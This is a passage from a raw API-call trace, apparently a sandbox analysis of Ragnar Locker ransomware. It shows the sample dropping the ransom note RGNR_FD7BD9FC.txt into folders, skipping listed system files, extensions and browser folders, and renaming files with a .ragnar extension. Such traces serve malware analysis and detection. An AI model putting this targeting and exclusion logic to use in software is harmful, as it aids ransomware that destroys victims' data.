lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RGNR_FD7BD9FC.txt" [0058.215] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*" [0058.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.218] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.218] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.218] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f1a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.219] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f1a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.219] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.219] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f1a9c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.219] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.219] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.219] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.219] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.219] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f1a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f1a9c0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.219] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f1a9c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f1a9c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.219] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.220] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.220] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.220] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.220] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.220] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.220] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.220] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned=".mui" [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0058.220] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0058.220] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0058.220] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0058.220] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0058.221] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0058.221] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0058.221] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0058.221] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0058.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui")) returned 0x20 [0058.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0058.221] CloseHandle (hObject=0xffffffff) returned 0 [0058.221] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" [0058.221] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.ragnar_FD7BD9FC" [0058.221] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ro-ro\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0058.221] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.221] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0058.222] lstrcmpiW (lpString1="rtscom.dll", lpString2=".") returned 1 [0058.222] lstrcmpiW (lpString1="rtscom.dll", lpString2="..") returned 1 [0058.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2=".") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="..") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Windows") returned -1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Windows.old") returned -1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Tor browser") returned -1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Internet Explorer") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Google") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Opera") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Opera Software") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Mozilla") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="Mozilla Firefox") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="$Recycle.Bin") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="ProgramData") returned 1 [0058.222] lstrcmpiW (lpString1="ru-RU", lpString2="All Users") returned 1 [0058.222] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0058.222] lstrcpyW (in: lpString1=0x1eb62e, lpString2="ru-RU" | out: lpString1="ru-RU") returned="ru-RU" [0058.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\" [0058.222] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\" [0058.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RGNR_FD7BD9FC.txt" [0058.223] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0058.253] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*" [0058.253] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.253] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.253] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0058.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f66c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.253] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0058.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f66c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.253] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0058.253] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0058.253] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f66c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.253] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0058.254] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0058.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.254] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0058.254] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0058.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.254] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0058.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f66c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0058.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74f66c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f66c80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74f66c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0058.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.254] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0058.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RGNR_FD7BD9FC.txt") returned=".txt" [0058.254] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0058.254] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.254] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0058.254] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0058.254] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\tipresx.dll.mui") returned=".mui" [0058.254] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0058.254] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0058.255] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0058.255] lstrcmpiW 